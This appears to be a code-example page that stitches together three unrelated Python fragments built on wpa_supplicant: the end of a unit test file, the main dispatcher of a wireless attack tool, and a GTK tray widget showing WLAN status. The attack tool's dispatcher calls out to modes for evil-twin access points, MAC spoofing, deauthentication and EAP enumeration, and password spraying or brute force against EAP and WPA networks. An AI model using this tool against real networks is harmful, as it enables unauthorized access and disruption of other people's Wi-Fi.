        self.assertEqual(interface.get_bss_expire_count(), 2)

    def test_get_ap_scan(self):
        interface = self._get_interface('wlan0')
        self.assertEqual(interface.get_ap_scan(), 1)

    #
    # Test BSS
    #
    def test_get_channel(self):
        # The "channel" is a conversion from frequency, so we need to test
        # the calculation being used
        bss = self._get_any_bss()
        self.assertEqual(bss.get_channel(), 11)

    def test_get_ssid(self):
        bss = self._get_any_bss()
        self.assertEqual(bss.get_ssid(), 'FGHI')

    def test_get_bssid(self):
        bss = self._get_any_bss()
        self.assertEqual(bss.get_bssid(), '46:47:48:49')

    def test_get_frequency(self):
        bss = self._get_any_bss()
        self.assertEqual(bss.get_frequency(), 2462)

    def test_get_wpa(self):
        bss = self._get_any_bss()
        self.assertEqual(bss.get_wpa(),
                         {u'Group': u'tkip', u'KeyMgmt': [u'wpa-psk'], u'Pairwise': [u'tkip']})

    def test_get_rsn(self):
        bss = self._get_any_bss()
        self.assertEqual(bss.get_rsn(), {u'Group': u'', u'KeyMgmt': [], u'Pairwise': []})

    def test_get_ies(self):
        bss = self._get_any_bss()
        self.assertEqual(bss.get_ies(), [0, 9, 68, 65, 80, 150, 24, 36])

    def test_get_privacy(self):
        interface = self._get_interface('wlan0')
        bss = interface.get_current_bss()
        self.assertEqual(bss.get_privacy(), True)

    def test_get_mode(self):
        bss = self._get_any_bss()
        self.assertEqual(bss.get_mode(), u'infrastructure')

    def test_get_rates(self):
        bss = self._get_any_bss()
        self.assertEqual(bss.get_rates(), [54000000, 48000000, 6000000])

    def test_get_signal_dbm(self):
        interface = self._get_interface('wlan0')
        bss = interface.get_current_bss()
        self.assertEqual(-60, bss.get_signal_dbm())

    def test_get_signal_quality(self):
        interface = self._get_interface('wlan0')
        bss = interface.get_current_bss()
        self.assertEqual(80, bss.get_signal_quality())

    #
    # Test Network
    #
    def test_get_properties(self):
        interface = self._get_interface('wlan0')
        desired_network = interface.add_network({'ssid': 'foo', 'psk': 'bar'})
        interface.select_network(desired_network.get_path())
        curr_network = interface.get_current_network()
        props = curr_network.get_properties()
        self.assertEqual(props['ssid'], 'wdnu-dvt1')

    def test_get_enabled(self):
        pass
Ejemplo n.º 15
0
def main():
    # Create Arguments
    args = arguments.parse_args()
    # Set Queue to infinite
    Queue_user = Queue(maxsize=0)  #CHECK queue may remove this feature.
    Queue_password = Queue(maxsize=0)  #CHECK queue may remove this feature.

    # Argpparse Vars
    mode = args.mode
    ssid = args.ssid
    user = args.user
    password = args.password
    channel = args.channel
    apmac = args.deauth
    packets = args.packets
    seconds = args.seconds
    location = args.location
    macaddress = args.mac
    # EAP Cert Vars
    # ca_cert = '/opt/my_scripts/ProjectEAP/eapSpray/RadiusServer.pem'
    # server_cert = args.server_cert # Not a requirement, if defined it must point to correct ca_cert else connection will fail.
    server_cert_path = ''
    client_cert = ''
    #EvilTwin Vars
    certname = args.certname
    public = args.public
    server_cert = args.server_cert
    private_key = args.private_key
    country = args.country
    band = args.band
    state = args.state
    city = args.city
    company = args.company
    ou = args.ou
    email = args.email
    debug = args.debug

    # Launch DATABASE module if called from CLI.
    if mode in 'database':
        database.main()
        reactor.callFromThread(reactor.stop)
    # If DATABASE was not called, Launch Twisted Reactor and creates supplicant interface.
    else:
        # Starts Twisted Reactor in the background via reactorThread
        reactor = SelectReactor()
        reactorThread = threading.Thread(target=reactor.run, \
         kwargs={'installSignalHandlers': 0}, name='Reactor thread').start()
        # let reactor start
        time.sleep(0.1)
        # Start Driver
        driver = WpaSupplicantDriver(reactor)
        # Connect to the supplicant, which returns the "root" D-Bus object for wpa_supplicant
        supplicant = driver.connect()

        # Create interface in wpa supplicant
        try:
            interface0 = supplicant.create_interface(args.interface)
        except Exception as e:
            print(' [!] Error: ' + str(e))
            reactor.callFromThread(reactor.stop)
            sys.exit(1)

        # Assigns interface 0 Supplicant Interface 0
        supplicantInt0 = supplicant.get_interfaces()[0]

        # User(s) value from CLI Args
        try:
            # Read users from a file.
            userList = args.user
            with open(userList, 'r') as f1:
                x = f1.read()
            userList = x.split()
            # Create user queue
            Queue_user.put(userList)
        except IOError:
            # Read user(s) given as a value on the CLI seperated by commas
            userList = userList.split(',')
            Queue_user.put(userList)
        except TypeError:
            # If arg does not have user option, pass.
            pass

        # Password(s) value from CLI Args
        try:
            # Read passwords from a file.
            passwordList = args.password
            with open(passwordList, 'r') as f1:
                x = f1.read()
                z = ' '.join([w for w in x.split() if len(w) > 7])
                print(' Passwords less than 8 Characters have been excluded. ')
                passwordList = z.split()
                # Create password queue
                Queue_password.put(passwordList)
        except IOError:
            # Read password(s) given as a value on the CLI seperated by commas
            passwordList = passwordList.split(',')
            # Verify password(s) is at least 8 chars.
            for password in passwordList:
                # print(len(x))
                if len(password) < 7:
                    print(' Password(s) must be atleast 8 Characters. ')
                    print(' Invalid: ' + '(' + password + ')')
                    reactor.callFromThread(reactor.stop)
                    sys.exit(1)
            # Create password queue
            Queue_password.put(passwordList)
        except TypeError:
            # If arg does not have password option, pass.
            pass

    # MODULE Menu
    if mode in 'scan':
        # I may remove threading for scanner, as there not much need.
        seconds = 5
        apscanT1 = scanner.apScan(location, seconds, supplicantInt0,
                                  interface0).start()
        reactor.callFromThread(reactor.stop)
    elif mode in 'eviltwin':
        # Consider placing macchange inside the evilTwin class.
        if macaddress:
            macchange.macManual(interface0, macaddress)
        elif not macaddress:
            macchange.macRandom(interface0)
        # Time not needed, but provides smoother exit.
        time.sleep(.5)
        eviltwinT1 = eviltwin.evilTwin(interface0, ssid, channel, macaddress, certname, public, band, server_cert, \
         private_key, country, state, city, company, ou, email, debug).start()
        # Time not needed, but provides smoother exit.
        time.sleep(.5)
        reactor.callFromThread(reactor.stop)
    elif mode in 'enum':
        # Place interface in Monitor mode, prior to DeAuth and Enum
        wirelessInt = str(interface0.get_ifname())
        monitormode.monitor_start(wirelessInt, channel)

        try:
            # Create Enum-Sniffing Thread (non-daemon)
            enum_Thread = eapenum.eapEnum(apmac, seconds, interface0, channel)
            enum_Thread.start()
            time.sleep(2.5)
            # Create a deAuth Thread (non-daemon)
            deAuth_Thread = deauthentication.deAuth(apmac, packets, interface0)
            deAuth_Thread.start()
        except KeyboardInterrupt:
            print('\n' + red('!') + 'Ctrl-C detected: ')
            monitormode.monitor_stop(wirelessInt)
        # Stop reator Thread / Terminate script
        reactor.callFromThread(reactor.stop)

    elif mode in 'spray':
        print(
            blue('i') + 'Using Interface(s): ' + str(interface0.get_ifname()))
        '''Determines if Brute-force attack will be EAP or WPA by checking if the USER parameter is present'''
        if user:
            # initiates eapSpray worker thread
            eapSprayT1 = eapspray.eapSpray(ssid, Queue_user, userList, password, server_cert,\
            server_cert_path, client_cert, supplicantInt0, interface0).start()
            # Starts Queue
            Queue_user.join()

            # Stops Twisted Reactor after the Queue is empty.
            def check_stop_flag():
                if Queue_user.empty() == True:
                    reactor.callFromThread(reactor.stop)

            lc = task.LoopingCall(check_stop_flag)
            lc.start(10)
        else:
            # initiates wpaBrute worker thread
            wpaBruteT1 = wpabrute.wpaBrute(ssid, Queue_password, passwordList, supplicantInt0,\
            interface0).start()
            # Starts Queue
            Queue_password.join()

            def check_stop_flag():
                if Queue_password.empty() == True:
                    reactor.callFromThread(reactor.stop)

            lc = task.LoopingCall(check_stop_flag)
            lc.start(10)

    elif mode in 'connect':
        '''Determines if Connection will be EAP or WPA by checking if the USER parameter is present'''
        if user:
            # initiates eapConnect worker thread
            eapConnectT1 = eapconnect.eapConnect(ssid, Queue_user, password, server_cert,\
            server_cert_path, client_cert, supplicantInt0, interface0).start()
            # Starts Queue
            Queue_user.join()

            # Stops Twisted Reactor after the Queue is empty.
            def check_stop_flag():
                if Queue_user.empty() == True:
                    reactor.callFromThread(reactor.stop)

            lc = task.LoopingCall(check_stop_flag)
            lc.start(10)
        elif password:
            # initiates wpaConnect worker thread
            wpaConnectT1 = wpaconnect.wpaConnect(ssid, Queue_password,
                                                 supplicantInt0,
                                                 interface0).start()
            # Waits until Queue is Empty and all Threads are done working.
            Queue_password.join()

            # Stops Twisted Reactor after the Queue is empty.
            def check_stop_flag():
                if Queue_password.empty() == True:
                    reactor.callFromThread(reactor.stop)

            lc = task.LoopingCall(check_stop_flag)
            lc.start(10)
        else:
            openconnect.openConnect(ssid, supplicantInt0, interface0).run()
            reactor.callFromThread(reactor.stop)
    elif mode in 'mac':
        if macaddress:
            macchange.macManual(interface0, macaddress)
        elif not macaddress:
            macchange.macRandom(interface0)
        # Time not needed, but provides smoother exit.
        time.sleep(.5)
        reactor.callFromThread(reactor.stop)
Ejemplo n.º 16
0
class WlanApp:
    def __init__(self):
        self.prefix = 'W:'
        self.suffix = ' '
        self.tooltip_heading = 'Wireless LAN Status:\n'

        self.iface = None  # Set to interface name to override interface selection

        self.build_ui()

        # Needed by wpa_supplicant.core
        self.reactor = SelectReactor()
        thread = threading.Thread(target=self.reactor.run,
                                  kwargs={'installSignalHandlers': 0})
        thread.daemon = True
        thread.start()
        time.sleep(0.1)  # let reactor start

        self.wpasup = None
        self.wpasup_running = False
        self.wlan = None
        self.wlan_signal = None

        # Monitor the availability of wpa_supplicant via DBus
        self.dbus = SystemBus()
        # watch_name() fires an event as soon as GLib.MainLoop() starts, so we don't need to explicitly
        # call get_wpa_supplicant() here
        self.dbus.watch_name(BUS_NAME, 0, self.get_wpa_supplicant,
                             self.get_wpa_supplicant)
        self.start_watch_thread()

    def build_ui(self):
        self.tray = tray = Gtkti.TrayIcon()
        self.eventbox = eventbox = Gtk.EventBox()
        if background_color:
            css = Gtk.CssProvider()
            css.load_from_data(
                ('* { background-color: ' + background_color + '; }').encode())
            Gtk.StyleContext.add_provider_for_screen(
                Gdk.Screen.get_default(), css,
                Gtk.STYLE_PROVIDER_PRIORITY_APPLICATION)
        eventbox.set_tooltip_text(self.tooltip_heading +
                                  'WPA Supplicant not running')
        tray.add(eventbox)
        self.tray_label = tray_label = Gtk.Label(label=self.prefix + '_' +
                                                 self.suffix)
        eventbox.add(tray_label)
        tray.show_all()

        menu = Gtk.Menu()
        item_quit = Gtk.MenuItem(label='Quit')

        def quit(menu_item):
            if sys.version_info < (3, 0):
                os.kill(os.getpid(), signal.SIGINT)
            else:
                Gtk.main_quit()

        item_quit.connect('activate', quit)
        menu.append(item_quit)
        menu.show_all()

        def button_pressed(eventbox, event, menu=menu):
            if event.type == Gdk.EventType.BUTTON_PRESS and event.button == 3:
                menu.popup(None, None, None, None, event.button, event.time)

        eventbox.connect('button-press-event', button_pressed)

    # Update the UI (thread-safe)
    def update_ui(self):
        GLib.idle_add(self.gtk_update_ui)

    # Update the UI (within the GTK main thread ; not thread-safe)
    def gtk_update_ui(self):
        if not self.wpasup_running:
            display_str = '_'
            tooltip_str = 'WLAN Interface is down (WPA Supplicant is not running)'
        elif not self.wlan:
            display_str = '_'
            tooltip_str = 'WLAN Interface not found via WPA Supplicant'
        else:
            try:
                ifname = self.wlan.get_ifname()
                tooltip_str = ifname
                state = self.wlan.get_state()
                tooltip_str += ' ' + state.title()
                if state == 'interface_disabled':
                    display_str = '_'
                elif state == 'disconnected' or state == 'inactive':
                    display_str = '-'
                elif state == 'scanning':
                    display_str = '?'
                elif state == 'authenticating' or state == 'associating' or state == 'associated' or \
                     state == '4way_handshake' or state == 'group_handshake':
                    display_str = '@'
                elif state == 'completed':
                    display_str = ''
                    tooltip_str += ' Connected'
                elif state == 'unknown':
                    display_str = '!'
                else:
                    display_str = '!'
                    print >> sys.stderr, 'Unknown wpa_supplicant state: ' + state + ' to ' + self.wlan.get_current_bss(
                    ).get_ssid()
                bss = self.wlan.get_current_bss()
                if bss:
                    display_str += bss.get_ssid()
                    tooltip_str += ' to ' + bss.get_ssid()
            except:
                # This is expected if another thread sets self.wlan to None while the above code is
                # executing, or if wpa_supplicant shuts down while the above code is executing.  In either
                # case, another UI update should happen momentarily.
                display_str = '!'
                tooltip_str = 'Unknown (Exception Thrown)'
        self.tray_label.set_text(self.prefix + display_str + self.suffix)
        self.eventbox.set_tooltip_text(self.tooltip_heading + tooltip_str)

        # Return false to unregister this method as a GLib idle handler
        return False

    def select_wlan_interface(self, interfaces):
        if self.wlan_signal:
            wlan_signal = self.wlan_signal  # To avoid race conditions
            self.wlan_signal = None
            wlan_signal.cancel()
        self.wlan = None
        if interfaces:
            if self.iface:
                for interface in interfaces:
                    if interface.get_ifname() == self.iface:
                        self.wlan = interface
                        break
            else:
                self.wlan = interfaces[0]
            self.wlan_signal = \
             self.wlan.register_signal('PropertiesChanged', lambda args: self.update_ui())
        self.update_ui()

    def scan_wpa_interfaces(self, args=None):
        self.wpa_interfaces = self.wpasup.get_interfaces()
        self.select_wlan_interface(self.wpa_interfaces)

    def wlan_interface_removed(self, path):
        # wpa_supplicant sends InterfaceRemoved just before shutting down, and get_interfaces() may
        # throw an exception if it is called while wpa_supplicant is shutting down.  So, instead of
        # calling scan_wpa_interfaces on InterfaceRemoved, it is probably better to keep a cache of the
        # list of interfaces and just delete the relevant interface from the cache.
        self.wpa_interfaces[:] = [
            i for i in self.wpa_interfaces if not i.get_path() == path
        ]
        self.select_wlan_interface(self.wpa_interfaces)

    def get_wpa_supplicant(self, dbus_name_owner=None):
        if dbus_name_owner:
            self.wpasup_running = True
            if not self.wpasup:
                # Connect to wpa_supplicant
                self.wpasup = WpaSupplicantDriver(self.reactor).connect()
                self.wpasup.register_signal('InterfaceAdded',
                                            self.scan_wpa_interfaces)
                self.wpasup.register_signal('InterfaceRemoved',
                                            self.wlan_interface_removed)
                self.scan_wpa_interfaces()
            else:
                # If we don't do anything when wpa_supplicant vanishes, then our signals seem to remain
                # registered when wpa_supplicant re-appears.  However, wpa_supplicant doesn't seem to send
                # InterfaceAdded signals when it comes up, so we must explicitly re-scan the interfaces.
                self.scan_wpa_interfaces()
        else:
            self.wpasup_running = False
            self.select_wlan_interface([])

    def start_watch_thread(self):
        thread = threading.Thread(target=GLib.MainLoop().run)
        thread.daemon = True
        thread.start()